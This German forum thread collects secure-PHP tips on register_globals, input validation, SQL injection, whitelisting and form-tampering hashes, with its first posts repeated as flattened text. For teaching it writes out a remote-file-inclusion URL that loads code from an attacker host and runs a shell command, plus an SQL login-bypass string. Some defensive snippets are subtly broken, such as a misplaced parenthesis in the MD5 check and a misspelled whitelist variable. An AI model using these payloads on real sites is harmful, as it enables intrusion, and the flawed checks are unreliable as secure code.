Leitfaden zur sicheren PHP-Programmierung - Inspire-World Forum

Spider · 13.10.2006, 18:49

Vorab:

Ich möchte Euch bitten in diesem Topic nicht über die aufgezeigten Mittel und Wege zu diskutieren, sondern in diesem Fall bitte einen Extra-Thread im Bereich PHP & MySQL zu eröffnen.

Dieser Thread soll ein Leitfaden zu sicheren und besseren PHP-Programmierung werden.
Jeder der dazu beitragen kann, darf das auch gerne tun, Diskussionen dazu aber wie gesagt bitte in einem Extra-Thread...

Vieleicht kann Helmut das ja sogar oben festpinnen

1. Register_Globals

Was ist register_globals eigentlich?

Unter register_globals = on; (php.ini) ist es möglich Variablen von einer anderen Herkunft zu verwenden ohne diese neu definieren zu müssen.
Auf den ersten Blick mag diese Einstellung einiges an Arbeit dem Programmierer abnehmen. Betrachtet man dies aber näher, erkennt man schnell ein potenzielles Sicherheitsrisiko.

Schauen wir uns das mal anhand eines einfachen Kontaktformulars an:

Das Formular selber:

HTML-Code:

<html>
<body>
<form action="mail.php" method="post">
Dein Name: <input type="text" name="name"><br />
Deine eMail: <input type="text" name="email"><br />
Nachricht: <input type="textarena" name="nachricht"><br />
<input type="submit" value="Senden" name="submit"></form>
</body>
</html>

Um das Formular jetzt zu versenden, würde folgender PHP-Code in der Datei mail.php mit register_globals = on; ausreichen:

PHP-Code:


			
<?

   if ($name != "" && $nachricht != "" && $email != "") {

      if (mail("mich@meine.de","Kontakt",$nachricht)) {

         echo "Die Nachricht wurde erfolgreich verschickt";

      }

   }

   else {

      echo "Bitte alle Felder ausfüllen";

   }

?>

Wie man am Formular sieht, werden die Daten per POST versenden, sind also in der URL selber nicht sichtbar.
Was passiert aber nun wenn ein böser Mensch auf die mail.php direkt via URL so zugreift:

Code:

http://www.url.de/mail.php?nachricht=Ich%20bin%20ein%20Spammer,%20besuch%20doch%20mal%20folgende%20URLS&name=Spammer&email=sagich@nicht.de

?

Die Nachricht wird denoch verschickt, da ALLE Variablen, egal ob es sie jemals gab oder nicht, global registriert sind.

Und noch dazu haben wir uns ein Script gebaut das, uns in Zukunft auch noch selber mit SPAM überschütten wird. ;-)
Es ist dem Script also absolut egal ob bsw. $email aus einer GET oder POST Übergabe kam, ob sie aus einer Session oder aus einem Cookie kommt!

Lassen wir es mal etwas komplizierter werden, um zu demonstrieren wieso die Verwendung von register_globals = on wirklich gefährlich ist.

Wir verwenden eine nettes Script das wir irgendwo runtergeladen haben. (z.B. ein Gästebuch)
Dieses verwendet einen Konfigurationsdatei, in der Sachen wie Pfad, URL etc.. gespeichert sind:

PHP-Code:


			
<?

    //Config

    $pfad = "/html/home/user1234/gbook/";

    $URL = "http://www.url.de/gbook/";

    ...

    ...

?>

Ein Angreifer erstellt sich nun auf seinem eigenem Server ein kleines Script, mit dem er externe Programme ausführen kann. (bsw. passthru(); )

Nun nutzt er die Funktion der Global Registrierten Variablen für sich aus, um über seinen eigenen Server auf dem angegriffenen Server einen Ordner zu erstellen und dort bsw. ein Spam-Script zu plazieren.
Dazu nutzt er die globale Variable $pfad, um darin die URL zu einem eigenem Programm einzuschleusen:

Code:

http://www.url.de/gbook/eintragen.php?pfad=http://angreifer.to/abc.jpg?&do=cd%20/html/home/user1234/;ls%20-al

^^-- Damit wechselt er in das Hauptverzeichniss unseres FTP-Accounts

Mit dieser Variante kann der Angreifer immer weiter vordringen und mit dem FTP-Server machen was er will
- Anlegen eines Verzeichnisses
- Umbenennen eines Verzeichnisses
- Kopieren eines Scriptes von seinem Server auf den angegriffenen Server

Diese Liste könnte man jetzt immer weiterführen, aber spätestens hier sieht man das der Angreifer fast die komplette Kontrolle über den FTP-Server besitzt, OHNE selber auf ihm drauf zusein.
So ist es dann möglich das zB. Startseiten überschrieben werden (Defacement), der Server zum Spammen benutzt wird oder - im schlimmsten Fall - alle Dateien gelöscht werden.

Was kannst Du nun tun um nicht selber auch zu einem Sicherheitsrisiko wirst?

1. Frag Deinen Provider ob bei Dir register_globals auf OFF steht und wenn nicht, lass es deaktivieren!
Solte der Provider das nicht wollen, frag ihn ob es bei ihm möglich ist bsw. via .htaccess register_globals zu deaktivieren.
Bei All-Inkl.com ist dies mittels folgenden Eintrag in die .htaccess Datei möglich:

Code:

php_flag register_globals off

Sollte auch keine der Alternativen bei Deinem Provider möglich sein, würde ich einen Umzug zu einem neuem Provider empfehlen.

Natürlich sollte hier erwähnt werden das ältere oder "schlecht" programmierte Scripte, welche register_globals auf ON vorraussetzen, nicht mehr funktionieren werden.
Aber wenn man oben angeführte Beispiele überdenkt, sind diese Scripte ohnehin ein Sicherheitsrisiko und sollten überarbeitet oder ausgetauscht werden.

2. Registriere und definiere Variablen die Du in Deinen Scripten verwendest immer selber und weise ihnen direkt am Anfang des Scriptes einen leeren String zu!

PHP-Code:


			
<?

    $email = "";

    $name = "";

    $nachricht = "";

    //usw

    

    //das eigentliche Script

?>

3. Wenn Du auf den Inhalt einer Variable zugreifst, gebe an WOHER die Variable kommt, um die Einschleusung von fremden Werten über andere Wege auszuschliessen:

PHP-Code:


			
<?

    // Variablen-Registrierung

    //.....

    

    $email = $_POST['email'];

    $name = $_POST['name'];

    $nachricht = $_POST['nachricht'];

?>

Man sieht also das dass Programmieren ohne global registrierte Variablen ein klein wenig mehr Aufwand erfordert, aber in diesem Fall heiligt der Zweck die Mittel.
Denn ist ein System erst einmal befallen, macht es wessentlich mehr Arbeit es wieder zu reinigen - noch dazu ist in den meisten Fällen dann bereits ein großer Schaden enstanden. Bleiben wir beim Beispiel mit dem Spamscript, kannst Du davon ausgehen das dieses Script dann keiner hinterlassen hat der seiner Oma und seiner Mutti mal eine eMail schicken wollte.
Innerhalb von wenigen Stunden kann ein richtiger Powerspammer einiges an Datenverkehr bewegen - Datenverkehr denn Du evtl. sogar extra bezahlen musst.

Spider · 13.10.2006, 21:04

2. Validierung von übergebenen Variablen

Immer wieder sieht man es das übergebene Werte ungeprüft verarbeitet oder weitergegeben werden.

Warum das gefährlich ist und wie man Variablen überprüfen kann, zeige ich hier.

Viele haben zwar inzwischen verstanden das man Variablen überprüfen muss wenn man sie an die Datenbank schicken muss, aber die meisten vergessen das es neben SQL-Injection auch die Code-Injection gibt.

Grundsätzlich gilt es das HTML und PHP-Code aus allen übergebenen Werten zu entfernen ist, wenn es nicht ausdrücklich erwünscht ist.
Mit der Funktion strip_tags() kann man diesen Code entfernen und alternativ bestimmte Tags zulassen.

PHP-Code:


			
<?

   if (isset($_POST['text'])) {

      $text = strip_tags($_POST['text'], '<p>');

   }

würde sämtlichen Code aus dem übergebenen Text entfernen, mit Ausnahme von <p> und </p> Angaben.

Übergabe von Dateinamen für include:

Oft sieht man Seite die ein Template-System verwenden und die anzuzeigende Dateien zum includen über die URL weitergeben

Code:

http://www.url.de/index.php?seite=seite/kontakt.html

Hier kann ein potenzieller Angreifer sich durch das ganze Dateisystem hangeln und sogar fremde Scripte in die Seite laden.
Daher sollte man ein solches Vorgehen tunlichst vermeiden.

Besser ist es nur den Name der einzubindenden Seite zu übergeben, den Pfad UND die Dateiendung im Script selber zuzuweisen.
Man kann jetzt prüfen, ob in der übergebenen Variable ein / enthalten ist und wenn ja, abbrechen:

PHP-Code:


			
<?

   $seite = "fehler";

   if (isset($_GET["seite"]) && !preg_match('=/=', $_GET["seite"])) {

      $seite= $_GET["seite"] . ".html";

   }

Zahlen:
Wenn ihr in einer Variable eine Zahl, und nichts anderes als eine Zahl erwartet, geht sicher das der Wert auch eine Zahl ist.

Dies kann man sehr einfach un effektiv durch das zuaddieren von 0 erreichen.
Denn dadurch wird die Konvertierung zu Integer erzwungen, egal was in der Variable steht:

PHP-Code:


			
<?

   if (isset($_POST['Variable'])) {

      $_POST['Variable'] = $_POST['Variable'] + 0;

   }

   else {

      $_POST['Variable'] = 0;

   }

Kommt jetzt bsw. "1234abcd" in der Variable an, wird dieser Wert zur Zahl 1234 konvertiert, "abcd" wird zu 0

MySQL-Übergaben:

Jede, und ich meine wirklich jede, Varible die an einen Datenbank geschickt wird muss vorher maskiert werden um SQL-Injections vorzubeugen.

Ideallerweise verwendet man dazu die Funktion mysql-real-escape-string()

Macht man das nicht, ist es möglich sich in geschützte Bereiche einfach so einzulogen, oder sogar die komplette Datenbank zu löschen:

PHP-Code:


			
<?php

   $query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";

   mysql_query($query);

?>

Wenn hier jetzt ein User kommt und in das Login-Feld als Benutzername "Tester" und als Passwort " ' OR ''=' " eingibt, wird er erfolgreich eingelogt, da die Abfrage wie folgt aussehe:

Code:

SELECT * FROM users WHERE user='Tester' AND password='' OR ''=''

Achtung:
Bei Verwendung von mysql-real-escape-string() muss bereits eine Verbindung zu Datenbank bestehen, ansonsten wird eine Warnung ausgegeben.

Ausserdem solltet ihr beachten das ihr die Daten erst mit stripslashes() behandelt, wenn bei Eurem Provider die Option magic_quotes_gpc aktiviert ist.
Die Verwendung von mysql-real-escape-string() würde sonst zu einer doppelten Maskierung der Daten führen.

Ob magic_quotes_gpc bei Euch aktiviert ist, erfahrt ihr bei Eurem Hoster.

Spider · 14.10.2006, 18:54

Dieser Tipp wurde von Helmut eingereicht, vielen Dank dafür

Oft sieht man es das sich viele Webseiten-Programmierer auf im HTML-Code festgelegte Werte verlassen, die Einhaltung dessen aber nicht kontrollieren.
Ein gutes Beispiel ist die maxlength-Angabe in Formular-Daten.

Kopiert man sich den HTML-Code aus dem Login-Formular zB. heraus und speichert den lokal kann man ellenlange Benutzernamen/Passwörter an das System schicken...

Mit einem einfachen Check im Script kann man dies verhindern:

PHP-Code:


			
<?

   function datensaver($formdaten = '', $maximal, $regextype) { 



      // nur Zahlen erlauben 

      if ($regextype == 1) { 

         $suche_nach = '/[^0-9]/';                     

         $ersetze_mit = ''; 

      } 



      // nur Buchstaben und Zahlen mit Umlauten 

      elseif ($regextype == 2) { 

         $suche_nach = '/[^0-9a-zA-ZÀ-Üà-üß]/';                     

         $ersetze_mit = ''; 

      } 



      // weitere Regextypen bei Bedarf...  



      $formdaten = preg_replace($suche_nach, $ersetze_mit, trim($formdaten)); 



      if (get_magic_quotes_gpc()) { 

         $formdaten = stripslashes($formdaten); 

      } 



      if (strlen($formdaten) > $maximal) { 

         $formdaten = substr($formdaten, 0, $maximal); 

      } 



      return $formdaten; 

   }

?>

Wenn einer z.B. für eine Passworteingabe wo eigentlich nur Zahlen und Buchstaben zugelassen sind was anderes eingibt wird das gefiltert mit

Code:

$pw = datensaver($_POST['pw'], 30, 2);und übrig bleiben Zahlen und Buchstaben.

30 = 30 Zeichen max.
2 = nur 0-9a-zA-ZÀ-Üà-üß

Wenn hier nun einen ein Passwort eingibt ala "abc$%123" wird von der Funktion lediglich "abc123" zurückgegeben.
Evtl. enthaltene gefährliche Codestücke wurde ausgefiltert.

Wird fortgesetzt ...

Spider · 30.07.2007, 21:22

Hallo,

Nachtrag zur Funktion "datensaver()" aus dem vorherigen Beitrag

Auf diesen Schönheitsfehler wurde ich heute von micha02 hingewiesen, vielen Dank dafür

Was passiert, wenn man an die Funktion bsw. '<b>Hans</b>' übergibt und man Zahlen und Buchstaben erlaubt?

Genau... es bleiben nur Zahlen und Buchstaben übrig. Hier in diesem Fall hätte diese Funktion eine Auswirkung auf die HTML-Steuerzeichen < und >, welche entfernt würde.

Als Ergebniss bleibe bHansb übrig.
Sieht bissel unschön aus

Also lassen wir in der Funktion zuerst sämlichen HTML und PHP Tags herrausfiltern.

Die neue Funktion mit strip_tags()

PHP-Code:


			
<?php

    

    function datensaver($formdaten = '', $maximal, $regextype) {

        

        // HTML und PHP-Tags entfernen

        $formdaten = strip_tags($formdaten);



          // nur Zahlen erlauben  

          if ($regextype == 1) {  

            $suche_nach = '/[^0-9]/';                      

             $ersetze_mit = '';  

          }  



          // nur Buchstaben und Zahlen mit Umlauten  

          elseif ($regextype == 2) {  

             $suche_nach = '/[^0-9a-zA-ZÀ-Üà-üß]/';                      

             $ersetze_mit = '';  

          }  



          // weitere Regextypen bei Bedarf...   



          $formdaten = preg_replace($suche_nach, $ersetze_mit, trim($formdaten));  



          if (get_magic_quotes_gpc()) {  

             $formdaten = stripslashes($formdaten);  

          }  



          if (strlen($formdaten) > $maximal) {  

             $formdaten = substr($formdaten, 0, $maximal);  

          }  



          return $formdaten;

    }

?>

Cu

Helmut · 30.07.2007, 22:23

Hi,

Schönheitsfehler würde ich das nicht unbedingt nennen, man kann ja schon verschiedene Regextypen definieren, das HTML bei bestimmten eingaben gefiltert wird sollte dann natürlich auch da im Formular stehen.

Ich würde zumindest das strip_tags nicht global anwenden. Wenn man z.B. einen Templateeditor hat der HTML erlaubt schrottet man sich so alle Daten des Templates.

Da würde ich dann eher die Sachen beim editieren in der Textarea so umwandeln

Code:

$htmldaten = preg_replace("/&(?#[0-9]+|[a-z]+;)/m", "&amp;$1", $htmldaten);
$htmldaten = preg_replace("/</m", '&lt;', $htmldaten);
$htmldaten = preg_replace("/>/m", '&gt;', $htmldaten);

Beim speichern dann

Code:

$htmldaten = preg_replace('/\r/', '', $htmldaten);
$htmldaten = preg_replace('/&lt;/', '<', $htmldaten);
$htmldaten = preg_replace('/&gt;/', '>', $htmldaten);

und mit dann mit mysql_real_escape_string beim Speichern behandeln.

Je nachdem wer da HTML Code eingeben darf sollte man dann noch eine Blackliste anlegen die Javascript (falls verboten) filtert.

Cu Helmut

bubuuu · 14.11.2007, 10:57

Um eine Manipulation von nummerischen Variablen festzustellen, muss man die Variable nach dem Casten mit dem ursprünglichen Wert vergleichen.

PHP-Code:


			
if ((string)((int)$_GET['id']) !== $_GET['id']) die ("Manipulation!");

Buch Quelle: PHP-Sicherheit

Spider · 18.12.2007, 18:06

2. Validierung von übergebenen Variablen - Teil 2

Eine weitere effektive Methode zu richtigen Validierung von übergebenen Werten ist eine sogenannte Whitelist.

Viele machen sich umständlich die Mühe aus übergebenen Werten das herauszufiltern was potenziell schädlich ist.
Dabei ist es viel einfacher auf erwartete Werte zu reagieren.

Natürlich kann man diese Methode nicht verwenden um Benutzernamen, Passwörter oder ähnliches aus einem Registrierungs-oder Anmeldeformular auf Korrektheit zu überprüfen. Wohl aber bei Werten die uns von vorn herein bekannt sind, bsw. für das includen bestimmter Dateien aus einer GET/POST Anweisung.

Dazu erstellt man als erstes ein Array, in dem man die bekannten, erwarteten Werte definiert:

PHP-Code:


			
<?php

    $whitlist = array('delete','reset','edit');

?>

Als nächstes prüft man ob der übergebene Wert in diesem Array vorkommt und weist ihn einer festen, eigenen Variable zu.
Alternative kann man auch einen Standart-Wert definieren, falls der übergebene Wert nicht mit dem Array der Whitelist übereinstimmt:

PHP-Code:


			
<?php

    if (in_array($_GET['do'], $whitelist)) {

        $do = $_GET['do'];

    }

    else {

        $do = 'goback';

    }

?>

Man sieht also das die Methode, mit einer Whitelist zu arbeiten, wessentlich effektiver und sicherer ist als die Variblen mit einer Blacklist zu überprüfen.
In einer Blacklist kann man immer etwas vergessen, in einer Whitelist hat man die Daten vorgegeben auf die man auch wartet.

Cu

bubuuu · 22.06.2008, 11:09

Formular Manipulation

Aus dem Heft PHP Jounrnal

Mit Hilfe eines lediglich im eigenen Programm bekannten geheimen Werts und des MD5-Algorithmus lässt sich sehr einfach ein so genannter Hash-Wert ermitteln, der zusätzlich zu den ursprünglichen Werten als Hidden-Feld in die PHP-Seite gesetzt wird.

Seite mit Formular:

PHP-Code:


			
$geheimnis = 'isagsnet';

$musssobleiben = 'darf nicht geändert werden?';



$md5hash = md5($geheimnis . $musssobleiben);

HTML-Code:

<input type="hidden" name="so" value="<?=strip_tags($musssobleiben)?>">
<input type="hidden" name="hash" value="<?=strip_tags($md5hash)?>">

Wenn die Werte als Form-Parameter später wieder in einem PHP-Script landen, muss lediglich der mitgelieferte MD5-Hash mit dem nochmals berechneten Wert verglichen werden. Stimmen beide überein, dann kann man sehr sicher sein, dass die gelieferten Werte auch den Originalen entsprechen.

Seite die Daten auswertet:

PHP-Code:


			
$geheimnis = 'isagsnet';



if (md5($geheimnis . $_POST['so'] == $_POST['hash'])

{

// alle ok; weiter geht's

}

else

{

die('Daten wurden manipuliert');

}

litterauspirna · 18.02.2009, 19:35

Hallo.

Was ich vermisse in dem Thema wären auch ein paar hilfreiche Zeilen zum verhindern von Angriffen über Session Hijacking und Session Fixation. Habe im Netz schon gesucht aber bin aus vielen Sachen nicht schlau geworden.

Wäre spitze wenn da noch was kommt.

Helmut · 18.02.2009, 19:54

...
das ist auch nur ein Thema der Datenvalidierung im richtigen Kontext. Wenn Du alles was bei Dir an $variablen durchs Script geistert richtig behandelst ist schon fast alles getan.

Wenn ich alles schreibe, dann meine ich aber auch alles. Nicht nur die Absicherung gegen SQL Injection. Auch bei der Ausgabe, Hidden Form Feldern, Cookies muss der Inhalt gecheckt werden.

Cu Helmut

13.10.2006, 18:49	#1
Spider Registrierter Benutzer eLiTe mEmBeR Registriert seit: 06.2001 Ort: Vogtland Beiträge: 6.076	Leitfaden zur sicheren PHP-Programmierung Vorab: Ich möchte Euch bitten in diesem Topic nicht über die aufgezeigten Mittel und Wege zu diskutieren, sondern in diesem Fall bitte einen Extra-Thread im Bereich PHP & MySQL zu eröffnen. Dieser Thread soll ein Leitfaden zu sicheren und besseren PHP-Programmierung werden. Jeder der dazu beitragen kann, darf das auch gerne tun, Diskussionen dazu aber wie gesagt bitte in einem Extra-Thread... Vieleicht kann Helmut das ja sogar oben festpinnen 1. Register_Globals Was ist register_globals eigentlich? Unter register_globals = on; (php.ini) ist es möglich Variablen von einer anderen Herkunft zu verwenden ohne diese neu definieren zu müssen. Auf den ersten Blick mag diese Einstellung einiges an Arbeit dem Programmierer abnehmen. Betrachtet man dies aber näher, erkennt man schnell ein potenzielles Sicherheitsrisiko. Schauen wir uns das mal anhand eines einfachen Kontaktformulars an: Das Formular selber: HTML-Code: <html> <body> <form action="mail.php" method="post"> Dein Name: <input type="text" name="name"><br /> Deine eMail: <input type="text" name="email"><br /> Nachricht: <input type="textarena" name="nachricht"><br /> <input type="submit" value="Senden" name="submit"></form> </body> </html> Um das Formular jetzt zu versenden, würde folgender PHP-Code in der Datei mail.php mit register_globals = on; ausreichen: PHP-Code: `<? if ($name != "" && $nachricht != "" && $email != "") { if (mail("mich@meine.de","Kontakt",$nachricht)) { echo "Die Nachricht wurde erfolgreich verschickt"; } } else { echo "Bitte alle Felder ausfüllen"; } ?>` Wie man am Formular sieht, werden die Daten per POST versenden, sind also in der URL selber nicht sichtbar. Was passiert aber nun wenn ein böser Mensch auf die mail.php direkt via URL so zugreift: Code: http://www.url.de/mail.php?nachricht=Ich%20bin%20ein%20Spammer,%20besuch%20doch%20mal%20folgende%20URLS&name=Spammer&email=sagich@nicht.de ? Die Nachricht wird denoch verschickt, da ALLE Variablen, egal ob es sie jemals gab oder nicht, global registriert sind. Und noch dazu haben wir uns ein Script gebaut das, uns in Zukunft auch noch selber mit SPAM überschütten wird. ;-) Es ist dem Script also absolut egal ob bsw. $email aus einer GET oder POST Übergabe kam, ob sie aus einer Session oder aus einem Cookie kommt! Lassen wir es mal etwas komplizierter werden, um zu demonstrieren wieso die Verwendung von register_globals = on wirklich gefährlich ist. Wir verwenden eine nettes Script das wir irgendwo runtergeladen haben. (z.B. ein Gästebuch) Dieses verwendet einen Konfigurationsdatei, in der Sachen wie Pfad, URL etc.. gespeichert sind: PHP-Code: `<? //Config $pfad = "/html/home/user1234/gbook/"; $URL = "http://www.url.de/gbook/"; ... ... ?>` Ein Angreifer erstellt sich nun auf seinem eigenem Server ein kleines Script, mit dem er externe Programme ausführen kann. (bsw. passthru(); ) Nun nutzt er die Funktion der Global Registrierten Variablen für sich aus, um über seinen eigenen Server auf dem angegriffenen Server einen Ordner zu erstellen und dort bsw. ein Spam-Script zu plazieren. Dazu nutzt er die globale Variable $pfad, um darin die URL zu einem eigenem Programm einzuschleusen: Code: http://www.url.de/gbook/eintragen.php?pfad=http://angreifer.to/abc.jpg?&do=cd%20/html/home/user1234/;ls%20-al ^^-- Damit wechselt er in das Hauptverzeichniss unseres FTP-Accounts Mit dieser Variante kann der Angreifer immer weiter vordringen und mit dem FTP-Server machen was er will - Anlegen eines Verzeichnisses - Umbenennen eines Verzeichnisses - Kopieren eines Scriptes von seinem Server auf den angegriffenen Server Diese Liste könnte man jetzt immer weiterführen, aber spätestens hier sieht man das der Angreifer fast die komplette Kontrolle über den FTP-Server besitzt, OHNE selber auf ihm drauf zusein. So ist es dann möglich das zB. Startseiten überschrieben werden (Defacement), der Server zum Spammen benutzt wird oder - im schlimmsten Fall - alle Dateien gelöscht werden. Was kannst Du nun tun um nicht selber auch zu einem Sicherheitsrisiko wirst? 1. Frag Deinen Provider ob bei Dir register_globals auf OFF steht und wenn nicht, lass es deaktivieren! Solte der Provider das nicht wollen, frag ihn ob es bei ihm möglich ist bsw. via .htaccess register_globals zu deaktivieren. Bei All-Inkl.com ist dies mittels folgenden Eintrag in die .htaccess Datei möglich: Code: php_flag register_globals off Sollte auch keine der Alternativen bei Deinem Provider möglich sein, würde ich einen Umzug zu einem neuem Provider empfehlen. Natürlich sollte hier erwähnt werden das ältere oder "schlecht" programmierte Scripte, welche register_globals auf ON vorraussetzen, nicht mehr funktionieren werden. Aber wenn man oben angeführte Beispiele überdenkt, sind diese Scripte ohnehin ein Sicherheitsrisiko und sollten überarbeitet oder ausgetauscht werden. 2. Registriere und definiere Variablen die Du in Deinen Scripten verwendest immer selber und weise ihnen direkt am Anfang des Scriptes einen leeren String zu! PHP-Code: `<? $email = ""; $name = ""; $nachricht = ""; //usw //das eigentliche Script ?>` 3. Wenn Du auf den Inhalt einer Variable zugreifst, gebe an WOHER die Variable kommt, um die Einschleusung von fremden Werten über andere Wege auszuschliessen: PHP-Code: `<? // Variablen-Registrierung //..... $email = $_POST['email']; $name = $_POST['name']; $nachricht = $_POST['nachricht']; ?>` Man sieht also das dass Programmieren ohne global registrierte Variablen ein klein wenig mehr Aufwand erfordert, aber in diesem Fall heiligt der Zweck die Mittel. Denn ist ein System erst einmal befallen, macht es wessentlich mehr Arbeit es wieder zu reinigen - noch dazu ist in den meisten Fällen dann bereits ein großer Schaden enstanden. Bleiben wir beim Beispiel mit dem Spamscript, kannst Du davon ausgehen das dieses Script dann keiner hinterlassen hat der seiner Oma und seiner Mutti mal eine eMail schicken wollte. Innerhalb von wenigen Stunden kann ein richtiger Powerspammer einiges an Datenverkehr bewegen - Datenverkehr denn Du evtl. sogar extra bezahlen musst. __________________ Erste Deutsche Juan Montoya Fanpage \| Das Formel 1 Tipspiel \| Spider-Software.de Meine Tutorials Geändert von Spider (13.10.2006 um 21:05 Uhr)

13.10.2006, 21:04	#2
Spider Registrierter Benutzer eLiTe mEmBeR Registriert seit: 06.2001 Ort: Vogtland Beiträge: 6.076	AW: Leitfaden zur sicheren PHP-Programmierung 2. Validierung von übergebenen Variablen Immer wieder sieht man es das übergebene Werte ungeprüft verarbeitet oder weitergegeben werden. Warum das gefährlich ist und wie man Variablen überprüfen kann, zeige ich hier. Viele haben zwar inzwischen verstanden das man Variablen überprüfen muss wenn man sie an die Datenbank schicken muss, aber die meisten vergessen das es neben SQL-Injection auch die Code-Injection gibt. Grundsätzlich gilt es das HTML und PHP-Code aus allen übergebenen Werten zu entfernen ist, wenn es nicht ausdrücklich erwünscht ist. Mit der Funktion strip_tags() kann man diesen Code entfernen und alternativ bestimmte Tags zulassen. PHP-Code: `<? if (isset($_POST['text'])) { $text = strip_tags($_POST['text'], '<p>'); }` würde sämtlichen Code aus dem übergebenen Text entfernen, mit Ausnahme von <p> und </p> Angaben. Übergabe von Dateinamen für include: Oft sieht man Seite die ein Template-System verwenden und die anzuzeigende Dateien zum includen über die URL weitergeben Code: http://www.url.de/index.php?seite=seite/kontakt.html Hier kann ein potenzieller Angreifer sich durch das ganze Dateisystem hangeln und sogar fremde Scripte in die Seite laden. Daher sollte man ein solches Vorgehen tunlichst vermeiden. Besser ist es nur den Name der einzubindenden Seite zu übergeben, den Pfad UND die Dateiendung im Script selber zuzuweisen. Man kann jetzt prüfen, ob in der übergebenen Variable ein / enthalten ist und wenn ja, abbrechen: PHP-Code: `<? $seite = "fehler"; if (isset($_GET["seite"]) && !preg_match('=/=', $_GET["seite"])) { $seite= $_GET["seite"] . ".html"; }` Zahlen: Wenn ihr in einer Variable eine Zahl, und nichts anderes als eine Zahl erwartet, geht sicher das der Wert auch eine Zahl ist. Dies kann man sehr einfach un effektiv durch das zuaddieren von 0 erreichen. Denn dadurch wird die Konvertierung zu Integer erzwungen, egal was in der Variable steht: PHP-Code: `<? if (isset($_POST['Variable'])) { $_POST['Variable'] = $_POST['Variable'] + 0; } else { $_POST['Variable'] = 0; }` Kommt jetzt bsw. "1234abcd" in der Variable an, wird dieser Wert zur Zahl 1234 konvertiert, "abcd" wird zu 0 MySQL-Übergaben: Jede, und ich meine wirklich jede, Varible die an einen Datenbank geschickt wird muss vorher maskiert werden um SQL-Injections vorzubeugen. Ideallerweise verwendet man dazu die Funktion mysql-real-escape-string() Macht man das nicht, ist es möglich sich in geschützte Bereiche einfach so einzulogen, oder sogar die komplette Datenbank zu löschen: PHP-Code: `<?php $query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'"; mysql_query($query); ?>` Wenn hier jetzt ein User kommt und in das Login-Feld als Benutzername "Tester" und als Passwort " ' OR ''=' " eingibt, wird er erfolgreich eingelogt, da die Abfrage wie folgt aussehe: Code: SELECT * FROM users WHERE user='Tester' AND password='' OR ''='' *Achtung:* Bei Verwendung von mysql-real-escape-string() muss bereits eine Verbindung zu Datenbank bestehen, ansonsten wird eine Warnung ausgegeben. Ausserdem solltet ihr beachten das ihr die Daten erst mit stripslashes() behandelt, wenn bei Eurem Provider die Option magic_quotes_gpc aktiviert ist. Die Verwendung von mysql-real-escape-string() würde sonst zu einer doppelten Maskierung der Daten führen. Ob magic_quotes_gpc bei Euch aktiviert ist, erfahrt ihr bei Eurem Hoster. __________________ Erste Deutsche Juan Montoya Fanpage \| Das Formel 1 Tipspiel \| Spider-Software.de Meine Tutorials Geändert von Spider (14.10.2006 um 18:55 Uhr)

14.10.2006, 18:54	#3
Spider Registrierter Benutzer eLiTe mEmBeR Registriert seit: 06.2001 Ort: Vogtland Beiträge: 6.076	AW: Leitfaden zur sicheren PHP-Programmierung Dieser Tipp wurde von Helmut eingereicht, vielen Dank dafür Oft sieht man es das sich viele Webseiten-Programmierer auf im HTML-Code festgelegte Werte verlassen, die Einhaltung dessen aber nicht kontrollieren. Ein gutes Beispiel ist die maxlength-Angabe in Formular-Daten. Kopiert man sich den HTML-Code aus dem Login-Formular zB. heraus und speichert den lokal kann man ellenlange Benutzernamen/Passwörter an das System schicken... Mit einem einfachen Check im Script kann man dies verhindern: PHP-Code: <? function datensaver($formdaten = '', $maximal, $regextype) { // nur Zahlen erlauben if ($regextype == 1) { $suche_nach = '/[^0-9]/'; $ersetze_mit = ''; } // nur Buchstaben und Zahlen mit Umlauten elseif ($regextype == 2) { $suche_nach = '/[^0-9a-zA-ZÀ-Üà-üß]/'; $ersetze_mit = ''; } // weitere Regextypen bei Bedarf... $formdaten = preg_replace($suche_nach, $ersetze_mit, trim($formdaten)); if (get_magic_quotes_gpc()) { $formdaten = stripslashes($formdaten); } if (strlen($formdaten) > $maximal) { $formdaten = substr($formdaten, 0, $maximal); } return $formdaten; } ?> Wenn einer z.B. für eine Passworteingabe wo eigentlich nur Zahlen und Buchstaben zugelassen sind was anderes eingibt wird das gefiltert mit Code: $pw = datensaver($_POST['pw'], 30, 2);und übrig bleiben Zahlen und Buchstaben. 30 = 30 Zeichen max. 2 = nur 0-9a-zA-ZÀ-Üà-üß Wenn hier nun einen ein Passwort eingibt ala "abc$%123" wird von der Funktion lediglich "abc123" zurückgegeben. Evtl. enthaltene gefährliche Codestücke wurde ausgefiltert. Wird fortgesetzt ... __________________ Erste Deutsche Juan Montoya Fanpage \| Das Formel 1 Tipspiel \| Spider-Software.de Meine Tutorials

30.07.2007, 21:22	#4
Spider Registrierter Benutzer eLiTe mEmBeR Registriert seit: 06.2001 Ort: Vogtland Beiträge: 6.076	AW: Leitfaden zur sicheren PHP-Programmierung Hallo, *Nachtrag zur Funktion "datensaver()" aus dem vorherigen Beitrag* Auf diesen Schönheitsfehler wurde ich heute von micha02 hingewiesen, vielen Dank dafür Was passiert, wenn man an die Funktion bsw. '<b>Hans</b>' übergibt und man Zahlen und Buchstaben erlaubt? Genau... es bleiben nur Zahlen und Buchstaben übrig. Hier in diesem Fall hätte diese Funktion eine Auswirkung auf die HTML-Steuerzeichen < und >, welche entfernt würde. Als Ergebniss bleibe bHansb übrig. Sieht bissel unschön aus Also lassen wir in der Funktion zuerst sämlichen HTML und PHP Tags herrausfiltern. Die neue Funktion mit strip_tags() PHP-Code: <?php function datensaver($formdaten = '', $maximal, $regextype) { // HTML und PHP-Tags entfernen $formdaten = strip_tags($formdaten); // nur Zahlen erlauben if ($regextype == 1) { $suche_nach = '/[^0-9]/'; $ersetze_mit = ''; } // nur Buchstaben und Zahlen mit Umlauten elseif ($regextype == 2) { $suche_nach = '/[^0-9a-zA-ZÀ-Üà-üß]/'; $ersetze_mit = ''; } // weitere Regextypen bei Bedarf... $formdaten = preg_replace($suche_nach, $ersetze_mit, trim($formdaten)); if (get_magic_quotes_gpc()) { $formdaten = stripslashes($formdaten); } if (strlen($formdaten) > $maximal) { $formdaten = substr($formdaten, 0, $maximal); } return $formdaten; } ?> Cu __________________ Erste Deutsche Juan Montoya Fanpage \| Das Formel 1 Tipspiel \| Spider-Software.de Meine Tutorials

30.07.2007, 22:23	#5
